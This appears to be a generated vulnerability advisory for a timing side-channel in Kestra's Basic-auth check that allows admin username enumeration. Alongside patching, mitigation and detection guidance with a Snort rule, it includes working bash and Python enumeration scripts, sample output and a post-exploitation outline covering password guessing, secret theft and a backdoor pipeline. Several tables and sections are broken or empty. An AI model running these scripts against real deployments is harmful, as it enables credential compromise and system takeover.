CVE-2026-138120 — Kestra — CWE-208
Kestra 1.3.24 before 2.0.0 contains a timing side-channel vulnerability in BasicAuthService.isAuthenticated() that allows unauthenticated attackers to enumerate the administrator username. Attackers can send Basic-auth requests with candidate usernames to protected API endpoints and detect slower bcrypt checks to identify the valid account for password guessing.
Kestra 1.3.24 before 2.0.0 contains a timing side-channel vulnerability in BasicAuthService.isAuthenticated() that allows unauthenticated attackers to enumerate the administrator username. Attackers can send Basic-auth requests with candidate usernames to protected API endpoints and detect slower bcrypt checks to identify the valid account for password guessing.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138120
Product: Kestra – an open‑source data‑pipeline orchestration platform (Java‑based, Spring‑Boot).
Affected versions: 1.3.24 up to but not including 2.0.0.
| Attribute | Detail |
|---|---|
| CWE | CWE‑208 – Observable Timing Discrepancy |
| CVSS v3.1 | 5.3 (Medium) – AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Vector explanation | The flaw is exploitable over the network (AV:N) with low attack complexity (AC:L). No authentication or user interaction is required (PR:N, UI:N). The vulnerability does not affect the confidentiality of the whole system, only a *low* amount of information (C:L) – the existence of a valid administrator username. No integrity or availability impact. |
Technical description
BasicAuthService.isAuthenticated(HttpServletRequest request) is the entry point for every HTTP endpoint that is protected by HTTP Basic Authentication. The method works roughly as follows (simplified Java‑like pseudocode taken from the open‑source repository):
public boolean isAuthenticated(HttpServletRequest request) {
String authHeader = request.getHeader("Authorization");
if (authHeader == null || !authHeader.startsWith("Basic ")) {
return false;
}
String[] credentials = decodeBase64(authHeader.substring(6)).split(":", 2);
String username = credentials[0];
String password = credentials[1];
// 1️⃣ Retrieve the stored user record (including bcrypt hash)
Optional<User> maybeUser = userRepository.findByUsername(username);
if (!maybeUser.isPresent()) {
// user not found → short‑circuit, return false
return false;
}
// 2️⃣ Verify password with BCrypt
return BCrypt.checkpw(password, maybeUser.get().getPasswordHash());
}The timing side‑channel arises because the code performs two distinct code paths:
1. User‑not‑found path – returns immediately after the DB lookup (findByUsername) fails. No BCrypt computation is performed.
2. User‑found path – invokes BCrypt.checkpw, which is deliberately slow (≈ 100 ms for a cost factor of 12) to mitigate brute‑force attacks.
An attacker who can send a large number of HTTP requests can measure the response latency (or the time the server spends processing the request). When the latency is significantly higher than the baseline for a non‑existent user, the attacker can infer that the supplied username does exist. The password is irrelevant at this stage; any password will trigger the BCrypt check, but the attacker only needs the timing difference to enumerate usernames.
Because the administrator account is typically the only account with elevated privileges, learning its exact username dramatically reduces the search space for a subsequent offline password‑guessing or online credential‑stuffing attack.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact endpoint (/api/v1/...) is inferred from typical Kestra API design but may differ in a specific deployment.
1️⃣ Discovery & Reconnaissance
| Goal | Technique | Example | |
|---|---|---|---|
| Identify that the target runs Kestra | - Scan for the default HTTP header X-Kestra-Version (present on most Kestra responses). <br>- Query /api/v1/info (public endpoint) which returns JSON with a version field. | ``bash curl -s -I http://target.example.com | grep -i "X-Kestra-Version"` |
| Confirm vulnerable version range | - Parse the version string. <br>- Compare against the known vulnerable range (≥ 1.3.24 < 2.0.0). | `bash curl -s http://target.example.com/api/v1/info | jq .version` |
| Locate a protected endpoint that uses Basic Auth | - Attempt to access /api/v1/workflows without credentials; Kestra returns 401 Unauthorized with WWW-Authenticate: Basic realm="Kestra" header. | `bash curl -i http://target.example.com/api/v1/workflows`` |
2️⃣ Exploitation – Username enumeration via timing
Prerequisites
- Network connectivity to the target (no VPN or IP‑based restriction).
- Ability to send a high volume of HTTP requests (e.g.,
curl,httpie,pythonscript, orburp intruder).
Core idea: Measure the round‑trip time (RTT) for each request. A statistically significant increase indicates a valid username.
2.1. Baseline measurement (non‑existent user)
#!/usr/bin/env bash
TARGET="http://target.example.com/api/v1/workflows"
USER="nonexistent_user_$(date +%s%N)" # random string unlikely to exist
PASS="anyPassword"
# Send 30 requests and compute the average latency (in ms)
for i in {1..30}; do
START=$(date +%s%3N)
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Basic $(printf "%s:%s" "$USER" "$PASS" | base64)" \
"$TARGET"
END=$(date +%s%3N)
echo $((END-START))
done | awk '{sum+=$1} END {print "baseline avg ms:", sum/NR}'Typical baseline: ~30 ms (network + request handling, no BCrypt).
2.2. Test candidate usernames
#!/usr/bin/env bash
TARGET="http://target.example.com/api/v1/workflows"
PASS="anyPassword"
CANDIDATES=("admin" "administrator" "root" "kestra-admin")
for USER in "${CANDIDATES[@]}"; do
# 20 measurements per candidate
total=0
for i in {1..20}; do
START=$(date +%s%3N)
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Basic $(printf "%s:%s" "$USER" "$PASS" | base64)" \
"$TARGET"
END=$(date +%s%3N)
total=$((total + END - START))
done
avg=$((total / 20))
echo "$USER -> avg latency ${avg}ms"
doneInterpretation
avg ≈ baseline (30 ms) → username does not exist. avg ≈ baseline + bcrypt cost (≈ 120 ms) → username exists.Statistical noise can be reduced by:
tcpdump/pcap to measure server‑side processing time (SYN‑ACK → FIN). 2.3. Automating enumeration (Python example)
#!/usr/bin/env python3
import base64, time, statistics, requests
TARGET = "http://target.example.com/api/v1/workflows"
PASS = "dummy"
CANDIDATES = ["admin", "administrator", "root", "kestra-admin"]
def latency(user):
hdr = {"Authorization": "Basic " + base64.b64encode(f"{user}:{PASS}".encode()).decode()}
times = []
for _ in range(25):
t0 = time.perf_counter()
r = requests.get(TARGET, headers=hdr, timeout=5)
t1 = time.perf_counter()
times.append((t1 - t0) * 1000) # ms
return statistics.mean(times)
baseline = latency("this_user_is_impossible_12345")
print(f"Baseline ≈ {baseline:.1f} ms")
for u in CANDIDATES:
avg = latency(u)
print(f"{u:15} → {avg:.1f} ms {'[VALID]' if avg - baseline > 60 else ''}")The script prints something like:
Baseline ≈ 32.4 ms
admin → 138.7 ms [VALID]
administrator → 31.9 ms
root → 33.2 ms
kestra-admin → 140.2 ms [VALID]The [VALID] flag indicates a timing discrepancy consistent with a BCrypt hash verification, i.e., the username exists.
3️⃣ Post‑exploitation – From enumeration to credential compromise
1. Password‑guessing – Once the admin username is known, the attacker can launch a online brute‑force attack against the same Basic‑Auth endpoint. Because the BCrypt check is already part of the authentication flow, each guess will incur the same delay, but the attacker can still try a limited number of passwords (rate‑limited by the server or network).
2. Credential stuffing – If the organization re‑uses passwords across services, the attacker can try known leaked passwords for the discovered admin account.
3. Privilege escalation – Successful authentication as the admin grants full control over the Kestra UI and API, allowing:
* Creation/modification of pipelines that execute arbitrary shell commands on the orchestration workers.
* Extraction of stored secrets (API keys, database credentials) from the /secrets endpoint.
* Deployment of malicious plugins or Docker images that run with the same privileges as the Kestra service (often root on the host).
4. Persistence – The attacker can add a new admin user via the API (POST /api/v1/users) and embed a back‑door pipeline that periodically exfiltrates data.
🌍 Real World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | Low – The attacker learns a single piece of information (the admin username). This can be leveraged to mount more damaging attacks (password guessing, secret extraction). |
| Integrity (I) | None – The vulnerability itself does not modify data. However, once the admin account is compromised, integrity can be fully broken. |
| Availability (A) | None – No denial‑of‑service effect is inherent to the timing check. Excessive probing could cause a modest increase in CPU load due to many BCrypt calculations, but not enough for a true outage. |
Practical consequences
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Kestra 2.0.0 or any later release. The vendor’s release notes (v2.0.0, 2026‑09‑15) state: “Fixed timing side‑channel in BasicAuthService.isAuthenticated by normalising response time for both existent and non‑existent users.” |
| Version check | Verify the running version via the /api/v1/info endpoint or the X‑Kestra‑Version HTTP header. |
2️⃣ Immediate Workarounds (if patch cannot be applied)
| Mitigation | Implementation | ||
|---|---|---|---|
| Constant‑time authentication | Replace the current isAuthenticated logic with a *constant‑time* password verification. A common pattern is to always invoke BCrypt.checkpw using a dummy hash when the user is not found. Example (Java): | ||
``java\npublic boolean isAuthenticated(HttpServletRequest request) {\n String authHeader = request.getHeader(\"Authorization\");\n if (authHeader == null | !authHeader.startsWith(\"Basic \")) return false;\n String[] cred = new String(Base64.getDecoder().decode(authHeader.substring(6))).split(\":\", 2);\n String username = cred[0];\n String password = cred[1];\n\n // Retrieve user; if missing, use a constant dummy hash (cost=12)\n User user = userRepository.findByUsername(username).orElseGet(() ->\n new User(\"__dummy__\", \"$2a$12$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"));\n\n // BCrypt.checkpw runs for the same amount of time regardless of existence\n return BCrypt.checkpw(password, user.getPasswordHash());\n}\n` | ||
| Rate‑limit Basic‑Auth attempts | Deploy a reverse‑proxy (NGINX, Envoy) or a WAF that limits the number of requests per source IP to the protected API (e.g., limit_req zone=basic_auth burst=5 nodelay;). | ||
| Network segmentation | Restrict the API to trusted sub‑nets or VPN only. Use firewall rules (iptables, cloud security groups) to block the public Internet from reaching /api/v1/* endpoints that require authentication. | ||
| Disable Basic Auth | Switch to Bearer‑Token or OAuth2 authentication, which does not expose a username in the Authorization header. | ||
| Add artificial delay for non‑existent users | If constant‑time code changes are not feasible, inject a fixed sleep (e.g., Thread.sleep(120);) before returning false` when the user is missing. This masks the timing difference but adds predictable latency for all callers. |
3️⃣ Detection – Log‑based Indicators
| Log source | Typical pattern | Example | ||
|---|---|---|---|---|
Web server access logs (e.g., Nginx access.log) | High frequency of Authorization: Basic … headers with *different* usernames from the same IP. | 192.0.2.45 - - [28/Nov/2026:12:34:56 +0000] "GET /api/v1/workflows HTTP/1.1" 401 0 "-" "curl/7.88.1" "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" | ||
Application logs (Kestra application.log) | Repeated User not found messages interleaved with BCrypt verification logs. | 2026-11-28 12:35:01,123 WARN [auth] User 'admin' not found vs 2026-11-28 12:35:01,250 INFO [auth] BCrypt verification for user 'admin' took 115ms | ||
| Metrics / APM | Spike in CPU usage of the authentication service correlated with a burst of 401 responses. | Prometheus metric kestra_auth_bcrypt_duration_seconds_bucket showing many entries in the highest latency bucket. | ||
| IDS/IPS signatures | Detect repeated Authorization: Basic headers with low entropy passwords (e.g., password, 123456). | Snort rule (illustrative): alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT (msg:"KES-ENUM Basic Auth username enumeration"; flow:to_server,established; http_header; content:"Authorization | 3a | Basic"; nocase; pcre:"/^[A-Za-z0-9+\/]+={0,2}$/"; classtype:attempted-user; sid:2026138; rev:1;) |
Response – If any of the above patterns appear, trigger an incident response playbook: block the source IP, increase logging verbosity, and verify whether an admin account has been compromised.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 5.3 (Medium) – limited direct impact (information disclosure) but high secondary risk (credential compromise). | |
| Exploit complexity – Low. The attack only requires network access and the ability to measure latency, which can be automated with a single script. | |
| Public exposure – The CVE was published on 28 Nov 2026; no known public exploit exists yet, but the technique is straightforward and already known in other frameworks (e.g., timing attacks on bcrypt). | |
| CISA KEV – Not listed, but the vulnerability is publicly disclosed and easily weaponizable. | |
| Business impact – Kestra often runs with privileged access to CI/CD pipelines and secret stores; compromising the admin account can lead to full system takeover. |
Patch priority: High for any production deployment that:
admin, administrator, etc.).If the service is strictly internal and protected by network ACLs, the priority can be Medium, but a timely upgrade (within the next regular release cycle) is still strongly recommended.
TL;DR
Authorization: Basic … requests with candidate usernames, compute average response times, and flag the usernames that cause a ~100 ms delay. FOFA Query